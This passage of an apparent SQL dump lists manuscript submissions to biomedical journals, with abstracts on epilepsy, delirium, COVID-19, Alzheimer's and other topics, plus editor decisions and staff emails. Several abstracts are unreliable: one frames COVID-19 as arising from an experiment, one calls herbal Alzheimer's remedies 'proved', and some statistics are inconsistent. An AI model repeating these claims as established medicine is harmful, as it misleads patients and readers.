alpha-rhythm.\r\n     In patients with panic attacks, along with routine EEG, EEG-video monitoring was also carried out. The EEG-video monitoring showed certain strengthening of hemispheric asymmetry, alpha rhythm index decrease and increase in beta1 rhythm in the right hemisphere which was more pronounced in the frontal and temporal  leads.\r\nConclusion: Long-term epilepsy can lead to the development of non-epileptic paroxysmal states which, on the one hand, aggravate the disease and, on the other, make the diagnosis of \"epilepsy\" disputable. Misdiagnosis of epilepsy often has disastrous consequences for patients resulting in the restriction of social activity and incorrect treatment. \r\n\r\nKeywords: paroxysmal states, long-term epilepsy, non-epileptic paroxysms, rhythms of EEG.\r\n\r\n','paroxysmal states, long-term epilepsy, non-epileptic paroxysms, rhythms of EEG.',332,NULL,'2020-06-13',NULL,'Submitted',2,NULL,'2020-09-09',NULL,1,1,'0','Accept',0,'892','sravani_l@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4676,5891,73,0,'ipjnn-20-4676','Relationship between the postoperative delirium and dementia in elderly surgical patients: Alzheimer’s disease or Vascular dementia relevant study',NULL,18,0,NULL,'Background\r\nDelirium is common in elderly surgical patients and the etiologies of delirium are multifactorial. Dementia is an important risk factor for delirium. This study was conducted to investigate the clinical relevance of surgery to the dementia in Alzheimer’s disease (AD) or Vascular dementia (VaD).\r\n\r\nMethods and Findings \r\nFrom March 2018 to April 2019, 95 patients, aged ≥56 years and undergoing surgery were retrospectively enrolled. Multivariate analysis was performed for risk factors that showed a significant difference between delirium and non delirium groups. First, we reviewed 29 patients with previous diagnosed dementia and 66 healthy controls, and the differences in postoperative delirium (POD) between these groups were examined. Second, the patients with dementia were classified into 2 groups: AD and VaD. VaD is a heterogeneous disease, which included poststroke VaD, subcortical VaD, and combined VaD (AD + VaD). Finally, this study evaluated risk factors for POD in underlying medical conditions and c-reactive protein (CRP) level. \r\nAmong 95 surgical patients with a mean age of 77.05 years, 41 (43.2%) developed POD. The frequency of POD was higher in dementia patients compared to non dementia groups {82.80% vs 25.80%; odds ratio (OR) 13.34; [95% confidence interval (CI) 3.99–44.66]; P<0.05}. Of the 41 POD patients, twenty-four were diagnosed dementia. In this study, total 29 dementia patients were divided into two groups based on AD (n = 19) or VaD (n = 9). One Parkinson\'s disease (PD) with dementia was diagnosed delirium and the PD dementia (PDD) patient has been excluded. Among, twenty-three dementia patients with delirium, there were 16 of AD (84.20%) and 7 of VaD (77.80%). There was no significant difference in POD between AD and VaD. Of the risk factors, age {(OR) = 0.14; [(CI) 1.03–1.25]; P<0.05} was independently associated with POD in patients undergoing surgery. Prevalence of delirium was not correlated with conditions, such as hypertension (HTN), diabetes mellitus (DM), gender and CRP value {HTN, 42.90% vs 43.60%: DM, 45.50% vs 33.30%: female, 27.2% of 63.0 vs male 13.8% of 32.0}. \r\n\r\nConclusion\r\nDementia play a key role in the predisposing factor of POD in elderly patients, but found no clinical difference between two subgroups. It is estimated that AD and VaD would share the pathophysiology, two subtype dementia consequently makes a similar contribution to delirium incidence rates in elderly postoperative patients. The results of our study may contribute to reduce POD occurs through potentially vulnerable patients care.\r\n','delirium, risk factors, dementia, relevant study, pathophysiology',330,NULL,'2020-06-13',NULL,'Submitted',2,NULL,'2020-09-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(4690,5905,975,0,'ipjbs-20-4690','Pediatric COVID-19 Patients in Jeddah, Saudi Arabia: Clinical, Laboratory and Radiological Aspects',NULL,14,0,NULL,'Objectives:\r\nThe aim of this study is to describe the clinical manifestations along with the laboratory and radiographic findings in the local pediatric population in order to better understand the novel corona virus and its implications on the pediatric age group. \r\nMethods:\r\nThe Pediatric Coronavirus in Saudi Arabia (PERSONA) study, a retrospective cohort, was conducted at Dr. Soliman Fakeeh Hospital in Jeddah, Saudi Arabia to analyze the clinical, laboratory and radiological findings of pediatric patients confirmed to have the novel coronavirus through PCR for COVID-19 taken via nasopharyngeal swabs from March 1, 2020 to May 13, 2020. \r\nResults:\r\nApproximately 54% (13/24) were male and 46% (11/24) were female. Patients ages ranged from 13 days to 17 years with an average of about 8.4 years and a standard deviation of 5.87 years. Leucopenia was present in 4/22 patients, while 75% had normal white blood cell counts. Neutropenia was evident in 25% (6/22) of patients while 83.3% (20/22) of patients exhibited normal lymphocyte counts. Eosinopenia was the striking finding in 75% (18/22) of those in the study while only four (16.7%) of the COVID-19 patients showed normal eosinophil counts.\r\nConclusion:\r\n Eosinopenia may be a sign of less severe infection in children and therefore should be further studied. More research is needed in the region to better understand the implications of the novel corona virus and whether disease course and burden differs across nations and from adults to pediatrics.\r\n\r\n','',3460,NULL,'2020-06-15',NULL,'Submitted',2,NULL,'2020-06-23',NULL,1,1,'0','publish it',0,'','',NULL,0,0,0,NULL,0),(4706,4283,639,0,'ipfs-20-4706','Short-term movement and survival of resident Brown Trout in response to instream habitat manipulation',NULL,14,0,NULL,'While long-term impacts to local fish populations in response to habitat work has been researched extensively, impacts to populations during the actual implementation of projects is poorly understood.  During this study, fish movement and survival was quantified pre-, during- and post-construction period of an instream habitat manipulation project involving placement of boulders and large-woody debris.  Twenty Brown Trout Salmo trutta were implanted with radio transmitters during November of 2015 and located for a period of 13 weeks.  Our results indicated that fish moved significantly less post-construction than pre-construction.  Additionally, survival was 100% for known-fate fish.  This work illustrates that actual installation of instream habitat had little to no impact on the resident fish population.','Brown trout, habitat, survival',1777,NULL,'2020-06-16',NULL,'Submitted',2,NULL,'2020-07-20',NULL,1,1,'1','I accept this article to publish in our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4707,5923,975,0,'ipjbs-20-4707','Sweetening the Deal: Glycosylation and its Clinical Applications ',NULL,15,0,NULL,'	Glycosylation, an important and nearly ubiquitous form of post-translational modification in eukaryotes, has been studied for its clinical applications. Its complex nature and heterogeneity of functions in the human body has allowed researchers to take multiple approaches in applying it to modern medicine. These approaches include glycosylation of pharmaceuticals to improve delivery; using glycosylation as vaccine/drug targets; editing the glycosylation pattern of immune system components; and profiling glycosylation signatures of diseases for diagnostic tests. In addition, glycosylation has also been used as a tool in developing potential therapeutics for the Covid-19 pandemic. This review covers and summarizes recent, interesting findings associated with the various approaches in the clinical study of glycosylation and aims to inspire future research in this promising direction. ','Glycosylation, Medicine, Pharmaceutical, Vaccine, Cancer, Immunology, Covid-19 ',3677,NULL,'2020-06-17',NULL,'Submitted',2,NULL,'2020-06-23',NULL,1,1,'0','publish it',0,'','',NULL,0,0,0,NULL,0),(4709,5925,667,0,'iptb-20-4709','withdraw',NULL,14,0,NULL,'withdraw','withdraw',3322,NULL,'2020-06-17',NULL,'Submitted',4,NULL,'2020-07-23',NULL,1,1,'0','accept .',0,'','',2,0,0,0,NULL,0),(4717,5933,86,0,'ipaom-20-4717','p38 MAP kinase inhibitors can reduce cytokine storm in patient with covid-2 or covid-19',NULL,8,0,NULL,'In our hypothesis, we suggest use P38 MAP kinase inhibitor for controlling cytokine storm in patient with COVID-19, we introduce above that the important pathogenic cytokines and the main source of these cytokines, IL-6, interferon-γ (IFN-γ), granulocyte-macrophage colony stimulating factor (GM-CSF) and TNF-α have been analyzed as the principal reason of inflammatory cytokine storm in patients in with MERS-CoV or SARS-CoV, and also we express a crucial signal transduction pathway intricate in the production of proinflammatory cytokines is the p38 mitogen-activated protein kinase (MAPK) pathway','P38 MAP kinase, inflammation, cytokine storm, Covid-19, Sars-Covid-2',3386,NULL,'2020-06-17',NULL,'Submitted',4,NULL,'2020-07-02',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(4719,5935,73,0,'ipjnn-20-4719','Primary diffuse large B-cell lymphoma with features simulating POEMS syndrome: Case report and review of the literature',NULL,2,0,NULL,'POEMS syndrome is a rare systemic affection of paraneoplastic origins. The main manifestations include polyneuropathy, organomegaly, endocrinopathy, monoclonal gammopathy, and skin changes. This disease is commonly associated with plasma cell dyscrasia or Castleman disease. A 51-year-old-man presented with a four-month history of gait impairment, four-limb sensorimotor deficit, general areflexia and facial diplegia. The diagnosis of chronic polyradiculoneuritis was made based on Cerebrospinal fluid (CSF) analysis and electromyography study (EMG). At the time of initial evaluation, physical examination displayed enlarged lymph nodes, hepatosplenomegaly, endocrinopathy and skin changes. Complete Blood Count did not reveal significant monoclonal plasma cell proliferative disorder. The biopsy of the adenopathy identified a large B-cell lymphoma. We concluded a POEMS-like syndrome due to the lack of monoclonal plasma cell proliferative disorder. To our knowledge, this is the third reported case of B-cell Lymphoma associated with POEMS features. Our findings may suggest that POEMS syndrome has an unusual presentation in patients with diffuse large B-cell lymphoma even in the absence of monoclonal plasma cell proliferative disorder considered as the essential criterion.','POEMS syndrome; B-cell lymphoma; Monoclonal Gammapathy of Undetermined Significance; Polyneuropathy',347,NULL,'2020-06-17',NULL,'Submitted',2,NULL,'2020-09-09',NULL,1,1,'0','accept with minor revision',0,'','',NULL,0,0,0,NULL,0),(4720,5936,45,0,'iphsj-20-4720','Covid-19: The hypothesis of cohabitation',NULL,15,0,NULL,'Researchers  around the world have been working since  Janury 2020 to better understand SARS-Cov2, the coronavirus responsible for the Covid-19 pandemic.\r\nThe membrane structure of SARS Cov2, the characteristics of lung damage both pathophysiologically and radiologically, the categories of patients with severe forms, the prevalence of covid-19 smokers have raised questions and closeness with the toxicity of cadmium.\r\nThrough a review of the literature on the toxicity of cadmium and the prevalence of cardiovascular and cardio-metabolic pathology, the hypothesis of a combined action SARS Cov2 and cadmium is discussed','SARS Cov2, cardiovascular disease, diabetes, tobacco, cadmium',686,NULL,'2020-06-17',NULL,'Submitted',16,NULL,'2020-07-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4724,5940,91,0,'ijddr-20-4724','A review on alzheimer\'s disease and medicinal plants',NULL,15,0,NULL,'An Alzheimer\'s disease is a progressive, degenerative disease of the brain that leads to dementia. Alzheimer\'s disease (AD) is majorly characterized by nerve cell helical protein filaments. It is a specific disease that affects about 6% of the population aged over 65 and its incidence increases with age. The global burden of AD is expected to accelerate from 16.6 million cases in 2006 to 106.8 million by 2050.  Alzheimer’s diagnosis can include clinical exam, MRI and/or CT scan and the amyloid beta, pathological Tau proteins are the core markers. Mainly, three CIs approved for the treatment of mild to moderate AD are donepezil, rivastigmine and galantamine. The other class of cognitive enhancers approved for Alzheimer\'s treatment contains one lonely member, memantine. Reuptake inhibitors like fluoxetine, sertraline, paroxetine, citalopram, fluvoxamine are largely considered to treat comorbid depression in AD dementia. Apart from the few available allopathic medications, some of the medicinal plants like Centella Asiatic, Rhodiola rosea -salidroside, the Silk Protein-Sericin, Centella asiatica, Clitoria ternatea, Crocus sativus, Terminalia chebula, Withania somnifera, and Asparagus racemosus are proved to show antialzheimer’s activity based on the available phytoconstituents especially plant cholines. In this review, we will discuss about alzheimer’s disease and the reported activies of some plants to focus the attention of neurological research on demand of exploring antialzheimer’s disease.\r\n\r\n','\r\nDegenerative, disease, brain, amyloid beta, pathological, phytoconstituents\r\n',2231,NULL,'2020-06-17',NULL,'Submitted',4,NULL,'2021-01-21',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(4733,5872,86,0,'ipaom-20-4733','An overview on managment of Ectropion with medial canthal tendon laxity',NULL,6,0,NULL,'Objective\r\nEctropion is usually associated with laxity of the medial and lateral aspects of the lower eyelid . The \r\ngoal of this study is to outline management and surgical correction of ectropion accompanied by\r\nvariable degrees of eyelid laxity. \r\nPatients and methods:\r\nA retrospective study of 15 patients with ectropion along with different degrees of medial canthal ligament laxity were managed according to the ectropion grades, classification and surgical approach were described in this study. Patients were followed up for 3, 6 and 12 months postoperatively. \r\nResults:\r\nTight fixation of medial eyelid opposed to lateral traction and correction of ectropion were accomplished in all cases. Aesthetic outcome was achieved in 12 cases, while epiphora was treated in 14 cases. \r\nConclusion:\r\nSurgical repair for ectropion should be directed according to the clinical findings which renders the outcome to be favourable.','ectropion, lid tightening, medial canthus, lower lid',3637,NULL,'2020-06-18',NULL,'Submitted',4,NULL,'2020-07-14',NULL,1,1,'0','Send for revision',0,NULL,NULL,2,0,0,0,NULL,0),(4739,5955,73,0,'ipjnn-20-4739','Impact of Educational Self-Efficacy Enhancement Program on Quality of Life, Pain Management, Self-Efficiency Behaviors, and Its Impact of Satisfaction among Adult Diabetic Patients with Peripheral Neuropathy Pain',NULL,14,0,NULL,'hello dear\r\nI told you I can not publish in your journal because first I am a student I can\'t get my certificate under the rules this journal. also, your journal didn\'t tell me in your process and I do not give to journal approval how is your journal take to review my article before telling me. Moreover, I want to withdrawal  and don\'t give you any charges\r\nBecause this step and process not legally to me.\r\nHope you can understand our situation too.\r\nHave a nice day','hello dear\r\nI told you I can not publish in your journal because first I am a student I can\'t get my certificate under the rules this journal. also, your journal didn\'t tell me in your process and I do not give to journal approval how is your journal take to review my article before telling me. Moreover, I want to withdrawal  and don\'t give you any charges\r\nBecause this step and process not legally to me.\r\nHope you can understand our situation too.\r\nHave a nice day',347,NULL,'2020-06-18',NULL,'Submitted',4,NULL,'2020-09-23',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(4757,5971,975,0,'ipjbs-20-4757','Role of Vitamin D, Antiviral Plants and Precautions in COVID-19',NULL,15,0,NULL,'The first test of COVID-19 took place in late December 2019 in Wuhan, China, and as a result of this experiment, it spread rapidly in China and then it spread rapidly to 209 countries. COVID-19 had a profound effect on global trade, killing an estimated 7.7 million people worldwide. In this reviewing article, we will look at how vitamin D can control the corona in the future, and how certain antiviral plants will affect corona, as well as the extent to which precautions can control them.','Vitamin D, Antiviral plants, Precautions',3677,NULL,'2020-06-19',NULL,'Submitted',4,NULL,'2020-06-29',NULL,1,1,'0','okay to publish',0,'','',2,0,0,0,NULL,0),(4764,5977,959,0,'ipacr-20-4764','The Central Role of Hematopoietic Stem Cells in Leukemia such as Acute Lymphoblastic Leukemia or Chronic Myeloid  Leukemia.',NULL,5,0,NULL,' Leukemia is the most common type  encountered in pediatric and adult patients.  In acute leukemia,hematopoietic  stem  cells(HSCs) reside in specialized niche in the bone marrow(BM). These stem  cells are thought to provide signals that support key HSC properties.Normality, cytokines regulate a variety of hematopoietic cell functions through the activation of multiple signal transduction pathways.  In this regard, regulation of proliferation and differentiation of HSCs is related by the gene expression pattern in the cell and the composition of external signals from the BM niche. Transcription factors regulate express of gene, meanwhile external signals can be mediated by cell-cell interactions, cell- extracellular matrix interactions and growth factors as well which may promote proliferation, differentiation, migration and apoptosis. Moreover, HSCs are multipotent stem cells defined by their ability to self renewal, differentiation and maintenance of all blood cell types in hematological system. These properties make HSCs like other tissue stem cells, prime targets for malignant transformation. Also we know,  molecular advances of acute leukemia have led to discovery of numerous additional  changes including mutation involving key cellular pathways in myeloid and lymphoid development, tumor suppression, and cell cycle regulation as well. Hence, I want to explain  concerning  genetic basis of  acute leukemia particularly in acute lymphoblastic leukemia( ALL) , HSCs source as well , also malignant and nonmalignant hematopoietic progenitor cells(1-2,8,24-30).','',3521,NULL,'2020-06-20',NULL,'Submitted',4,NULL,'2020-07-08',NULL,1,1,'1',NULL,0,'601','manasa_ch@omicsgroup.co.in',2,0,0,0,NULL,0),(4765,5978,959,0,NULL,'Development of a new technology for capturing circulating tumor cells (CTCs) of renal cell cancer',NULL,14,0,NULL,'In recent years, various new drugs such as molecularly targeted drugs and immune checkpoint inhibitors have been released. In such a situation, liquid biopsy is becoming increasingly important as a guide for selecting these new drugs and determining their efficacy. In urological cancers, given the lack of serum markers for kidney cancer or urothelial cancers, the development of liquid biopsy is strongly desired. \r\nLiquid biopsy is less invasive than conventional tissue biopsy. Because, which uses bodily fluids such as blood or urine enabling frequent biopsies. \r\nTherefore, liquid biopsy is　considered effective for monitoring of the treatment course. \r\nLiquid biopsy has been the subject of research and development in recent years.\r\nLiquid biopsy is largely divided into three types: 1) circulating tumor cells (CTCs), \r\n2) circulating tumor DNA (ctDNA) or cell-free DNA (cfDNA), and 3) exosomes.\r\nIn this review, we focus only on Circulating tumor cells (CTCs).\r\nIt is known that a trace amount of cells derived from cancer tissue infiltrate blood and lymph fluid and circulate in the body of cancer patients.\r\nThose cells are called circulating tumor cells（CTCs）. CTC has been the subject of research and development throughout the world in recent years.\r\nMany of the CTC identification methods, used over 20 years ago were based on polymerase chain reaction (PCR) and were problematic in their sensitivity and reproducibility. One of the many CTC identification methods developed after the PCR-based methods, the CellSearch System® (Veridex, USA) established by Cristofanilli et al１）.　using automated immunostaining, was based on direct observation of CTCs under a fluorescent microscope','',3216,NULL,'2020-06-20',NULL,'Submitted',4,NULL,'2020-07-07',NULL,1,0,'1',NULL,0,'2534','lakshmi_j@omicsgroup.co.in',2,0,0,0,NULL,0),(4776,5990,91,0,'ijddr-20-4776','Shielding the Patenting of Medicines in condition of a Recrudescence in India',NULL,3,0,NULL,'Patent is one of the significant types of Intellectual Property Rights utilized in the pharmaceutical industry. Exchange mark, modern structure, geological sign and copyright are other types of IPRs accessible in India. Award of patent in India is represented under the Patents Act, 1970. This audit gives a short outline of advancement of patent law in India viewing therapeutic properties just as clarifies the idea and need of protecting and non licensing of the restorative medications during the spread of coronavirus in India. Measures of patentability and various sorts of pharmaceutical licenses right now being allowed in India are depicted with the expect to give the basic information on pharmaceutical protecting to the specialists.','Patent, Invention, Intellectual Property Rights, Corona Virus, COVID-19, Pharmaceutical, Medicines, Drugs.',3688,NULL,'2020-06-21',NULL,'Submitted',2,NULL,'2020-08-06',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(4778,5992,45,0,'iphsj-20-4778','EVALUATION OF INTER-RELATED BIOLOGICAL AND ENVIORONMENTAL RISK FACTORS OF ASTHMA (ONSET/ SEVERITY): USING STRUCTURAL EQUATION MODELING ',NULL,14,0,NULL,'The aim of this study is to evaluate some inter-connected environmental and biological factors which contribute to onset of asthma and its severity level, duration between   asthmatic attacks and response of therapy. A cross-sectional study of asthmatic patient’s from gujrat (Pakistan) is conducted who were visiting respiratory disease specialists at different hospitals of city. Sample of size 200 is selected. Multivariate analysis technique i-e structural equation modeling is applied to find out the interrelationship of all the factors. Before applying structure equation modeling, factor analysis is used to confirm factors to be used in path diagram as constructs. Goodness of fit index was obtained (GFI=0.908, NNFI=0.901, χ2/d.f=1.607, CFI=0.921, RMSEA=0.053). The main conclusion got by applying SEM is that there is direct effect of some factors as well as, there are a lot of factors that are indirectly involved.','Risk factors;Asthma;Interrelationship;structural equation modelling;path diagram',643,NULL,'2020-06-22',NULL,'Submitted',4,NULL,'2020-10-20',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4779,5993,975,0,'ipjbs-20-4779','Novel Concepts and Materials for Microfluidic Optical Devices',NULL,14,0,NULL,'—This article describes recent our experiments that are\r\nrelated to microfluidic optical devices. A bistable phase transition\r\nof polyethylene glycol provides novel functions for microfluidic\r\ndevices. A time-space conversion spectrometry uses a long fluidic\r\ncell, for which the microchannel fabrication technique is useful','microfluidic devices, polyethylene glycol, bistability,\r\nfluidic laser, time-resolved spectroscopy ',3460,NULL,'2020-06-22',NULL,'Submitted',4,NULL,'2021-04-07',NULL,1,1,'0',NULL,0,'2592','smruthi_r@meetingsint.co.in',NULL,0,0,0,NULL,0),(4783,5997,975,0,NULL,'Linearized Poisson-Boltzmann equation (PBE) gives us simple expressions for charge density distribution (ρe) within fluids or plasma. A recent work of this author shows that the old boundary conditions (BC), which are usually used to solve PBE, have serious defects. The old solutions turned out to be non-unique, and violates charge conservation principle in some cases. There we also derived the correct formula of ρe for a finite, rectangular geometry, using appropriate BCs. Here we consider some other types of geometries and obtain formula of ρe, which may be useful to analyse different experimental conditions.',NULL,14,0,NULL,'Linearized Poisson-Boltzmann equation (PBE) gives us simple expressions for charge density distribution (ρe) within fluids or plasma. A recent work of this author shows that the old boundary conditions (BC), which are usually used to solve PBE, have serious defects. The old solutions turned out to be non-unique, and violates charge conservation principle in some cases. There we also derived the correct formula of ρe for a finite, rectangular geometry, using appropriate BCs. Here we consider some other types of geometries and obtain formula of ρe, which may be useful to analyse different experimental conditions.','CYLINDRICAL GEOMETRY. Linearized PBE',3460,NULL,'2020-06-22',NULL,'Submitted',4,NULL,'2020-06-23',NULL,1,0,'0',NULL,0,'2592','smruthi_r@meetingsint.co.in',1,0,0,0,NULL,0),(4784,4604,45,0,'iphsj-20-4784','Diagnostic accuracy of Lugol’s iodine staining in detection of safe margins of oral squamous cell carcinoma',NULL,14,0,NULL,'Background & objectives: The successful surgical treatment of oral cancer depends upon the stage of disease at diagnosis and adequate resection of tumor. Residual disease after surgery is responsible for early recurrence and poor prognosis. Complete removal of lesion with adequate safe margins is therefore of paramount importance. A variety of aids are used to ensure the complete removal of lesion. The present study was aimed at determination of the diagnostic accuracy of Lugol’s iodine staining in detection of safe margins of oral squamous cell carcinoma, taking histopathology as gold standard. Patients and methods: This study was conducted in the Department of Oral & Maxillofacial Surgery, Mayo Hospital, Lahore. Data was collected from 50 patients using non-probability sampling technique. After informed consent, appropriate pre-operative preparation was done. Diagnosed cases of oral squamous cell carcinoma were included in study. All patients were treated under general anesthesia. Staining with Lugol’s iodine was done and margins were taken as guided by the staining pattern. Histolopathologic examination of margins was done and results of clinical staining and histopatholgoic reports were recorded.\r\nResults: The most common site of occurrence was buccal mucosa (n=20), followed by tongue (n=12) and lower vestibule (n=9). Other less common sites were upper vestibule (n=4) lip, (n=3) and maxillary sinus (n=2). A 2X2 contingency table was generated for sensitivity, specificity, positive predictive value, and negative predictive value by using staining pattern and histopathology reports. Sensitivity of Lugol’s iodine was 91 % and specificity was 92.3%. Positive predicative and negative predictive values were 77% and 92% respectively.\r\nConclusion: Lugol’s iodine is one of the diagnostic adjuncts that can be effectively used for detection of safe margins of oral squamous cell carcinoma as it is a simple, cost effective, noninvasive, and quick technique with good diagnostic accuracy.','Oral squamous cell carcinoma, diagnostic accuracy, dysplastic epithelium, malignant tissue, Safe margins, involved margins, Lugol’s iodine, staining pattern',388,NULL,'2020-06-22',NULL,'Submitted',2,NULL,'2020-06-27',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4820,6032,86,0,'ipaom-20-4820','COMPARISON OF CLINICAL PRACTICE GUIDELINES FOR THE MANAGEMENT OF PREGNANT WOMEN WITH COVID-19 INFECTION: A REVIEW ',NULL,15,0,NULL,'ABSTRACT\r\nCoronavirus Disease 19 (COVID-19) is caused by severe acute respiratory coronavirus-2 and has resulted in an unprecedented global pandemic.  The adaptations of pregnancy often predispose pregnant women to a more severe course of respiratory illness with the potential for maternal and perinatal morbidity.  Thus, national and international guidelines are rapidly being developed to help maintain optimal care throughout pregnancy.  Due to the novelty of COVID-19 and limitations of existing data, heterogeneity exists between these guidelines.  We aim to review the available evidence for the management of pregnant women with COVID-19 and summarise the recommendations set out by three main institutions. \r\nTWEETABLE ABSTRACT\r\nDisagreement exists between national and international guidelines on management of pregnant women with COVID-19 infection.\r\n','Covid-19, Pregnancy, Labour',3386,NULL,'2020-06-24',NULL,'Submitted',2,NULL,'2020-07-09',NULL,1,1,'0','Accept according to review comments',0,'','',NULL,0,0,0,NULL,0),(4825,6037,959,0,NULL,' “Re-Programming or    Selecting Adult Stem Cells?”',NULL,14,0,NULL,'\\r\\nThe recent observations that embryonic stem ness-associated genes could assist in the “de-differentiation” of adult skin fibroblast cells to “embryonic-like stem cells”, using the “somatic cell nuclear transfer” techniques, have been interpreted as indicating a “re-programming” of genes. These reports have demonstrated a “proof of principle” approach to by-pass many, but not all, of the ethical, scientific and medical limitations of the “therapeutic clon-ing” of embryonic stem cells from embryos. However, while the interpretation that real “re-programming” of all those somatic fibroblastic differentiation genes might be correct, there does exists an alternative hypothesis of these exciting results. Based on the fact that multipotent adult stem cells exist in most, if not all, adult organs, the possibility exists that all these recent “re-programming” results, using the somatic nuclear transfer techniques, actually were the results of transferred rare nuclear material from the adult stem cells residing in the skin of the mouse, monkey and human samples. An examination of the rationale for this challenging hypothesis has been drawn from the hypothesis of the “stem cell theory of cancer”, as well as from the field of human adult stem cells research.\\r\\n','Re-programming . Selecting . Adult stem cells .Stem cell theory of  cancer .  De-differentiation .Gap  junctions . Immortalizing viruse',3521,NULL,'2020-06-24',NULL,'Submitted',4,NULL,'2020-07-08',NULL,1,0,'1',NULL,0,'923','ashwini_c@euroscicon.co.in',2,0,0,0,NULL,0),(4827,6040,971,0,'ipaclr-20-4827','THE EFFECT OF ALCOHOL ON SOME COAGULATION FACTORS OF ALCOHOLICS IN OWERRI, IMO STATE',NULL,14,0,NULL,'ABSTRACT\r\nParticipants for this study included 50 alcoholics and 50 non-alcoholics (controls). Platelet count of alcoholics and non-alcoholics was; 76.46 ± 19.09, 2 and 182.68± 75.33 respectively. Platelet count was significantly lower among alcoholics compared to non-alcoholics (p=0.0001). We observed a negative correlation between platelet count and duration of alcoholism (r=-9.46). The mean prothrombin time (PT) and activated partial thromboplastin time (APTT) values of alcoholics and non-alcoholics was; (29.12 ± 9.67 and 68.08 ± 11.58) and (13.32 ± 3.79 and 31.32 ± 7.65) respectively. Prothrombin time and activated partial thromboplastin time values were significantly lower among alcoholics compared to non-alcoholics (p=0.0001). We observed a positive correlation between duration of alcoholism and prolonged prothrombin time and activated partial thromboplastin time (r = 0.46 and 0.55 respectively). Our study has shown that alcoholism produces a significant adverse effect on some haematological and haemostatic parameters. Evidenced data generated from this study can facilitate the development of a policy on the effective management of haematological and haemostatic complications associated with alcoholism. There is need to enact laws that regulate the production, sales and consumption of various alcoholic beverages to prevent abuse and protect the health of citizens.\r\n\r\n\r\n','Keywords: alcohol, coagulation factors, alcoholics, Owerri',3249,NULL,'2020-06-24',NULL,'Submitted',4,NULL,'2020-07-27',NULL,1,1,'1',NULL,0,'','',2,0,0,0,NULL,0),(4837,6051,996,0,'ipar-23-4837','THE PREGNANCT PELVIS - PHYSICAL ACTIVITY:A BOON TO PREGNANT COUPLES',NULL,14,3,NULL,'DON&#39;T FIGHT PREGNANCY, EMBRACE IT.\r\nSailing through the most transformational journey of your life\r\n\r\nNow a days womens health has gain a lot of popularity in the health care\r\nsector. Many of the Physiotherapist focus on antenatal and postnatal\r\nexercise regime but the first step that is preconception health is widely\r\nlacking in the literature.\r\nHalf of all pregnancies are unplanned so it is important to discuss optimal\r\nhealth status with all women of reproductive age before entering\r\npregnancy.\r\nThe exercise habits women have before they become pregnant will\r\nlargely dictate whether they will engage in exercise during their\r\npregnancy. Those women who are physically active and well informed\r\nabout the benefits of exercise in pregnancy are likely to engage in a\r\nhealthy exercise program until late gestation.\r\nFor most women, exercise increases insulin sensitivity which improves\r\novarian function and increases the probability of conception. However,\r\nfor elite athletes and women who engage in intense physical training the\r\nreproductive system may be negatively affected by the stress of physical\r\nactivity.\r\nHelping women to achieve a healthy weight before pregnancy can have\r\nlong-term health benefits for her and any future children. Before trying to\r\nconceive women should ensure that their body mass index is at least\r\nbelow 35kg/m 2 , preferably below 30kg/m 2 . Exercise before pregnancy\r\nand conception is essential for weight loss. Even a bodyweight loss of 5-\r\n10% can help to restore fertility.Try to get 150 minutes of moderate\r\nintensity physical activity each week .','PHYSICAL ACTIVITY DURING\r\nPREGNANCY , Registered Exercise,i.e. PARmed-X for Pregnancy  ',3650,NULL,'2020-06-25',NULL,'Submitted',15,NULL,'2023-01-24',NULL,1,1,'1',NULL,0,'102','anjali_r@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4840,6054,45,0,'iphsj-20-4840','Routine Health Service Records Utilization and Administrative   Reports for Decision Making in Four Hospitals of Oromia Regional State, Ethiopia',NULL,14,2,NULL,'Health Management Information System which draws data from routine health service records and administrative reports provides an ideal source of indicators that are reviewed frequently to monitor and refine program implementation. The importance of this study was to assess the utilization status of routine health service records and administrative reports for decision making, and identify factors affecting its use in four hospitals of Oromia Region, Ethiopia.\r\nFacility based cross-sectional study design was used to explore the status and factors affecting data utilization for decision in four governmental hospitals of Oromia region. Quantitative data were collected by self-administered questionnaires and qualitative data was collected from hospital management by Focus Group Discussion (FGD). Accordingly a total of 234 participants were involved for quantitative study where as 8 participants from each hospital which accounts a total of 32 participants were subjected to qualitative study. Data were analyzed using SPSS version 20. Odds Ratio and 95% confidence interval was used to identify strength and existence of association between variables. The findings of Routine Health Service records utilization and administrative reports for decision making were presented in tables and figures whereas descriptions were made in frequency and percentage.\r\nThe study revealed that, the overall health data utilization for decision making was 56% and there was a difference in data utilization for decision making among study hospitals which was 52%, 55%, 56% and 62% in Goba, Ginnir, Adama and Bishoftu hospitals respectively. Knowledge on acceptable percentage of data Lot Quality Assurance Sample (LQAS), participation in planning and getting feedback from respective HMIS unit were predictors of data utilization for decision making from the exposed variables, [(at p value 0.047, AOR= 0.397, 95% CI; 0.012, 0.744), (p value 0.037, AOR=0.079, 95% CI: 0.011, 0.557) and (p value 0.001, AOR=0.003, 95% CI: 0.000, 0.021)] respectively. Qualitative data also revealed that dalliance in full automation, inadequate supportive supervision of stake holders and interruption of supplies affected the quality of data utilization for decision. Therefore all stake holders and hospitals’ management should improve the knowledge of health professional and management team on acceptable percentage of data LQAS through training, fully implement automated HMIS, conduct supportive supervision, participate health cadres in planning, timely avail of supplies, arrange frequent feedback process from respective HMIS unit and develop information technology infrastructures to strengthen Routine Health Service Records Utilization and Administrative   Reports for Decision Making.','Routine Health Service; Administrative Reports; Decision Making;',388,NULL,'2020-06-25',NULL,'Submitted',19,NULL,'2022-03-14',NULL,1,1,'0','good interesting article--worthy for publishing ',0,NULL,NULL,NULL,0,4,0,NULL,0),(4859,6073,45,0,'iphsj-20-4859','Is there an end in sight for the global COVID-19 outbreak?',NULL,9,0,NULL,'N/L','COVID-19, Coronavirus, Pandemics, Quality of Health Care, Public Health 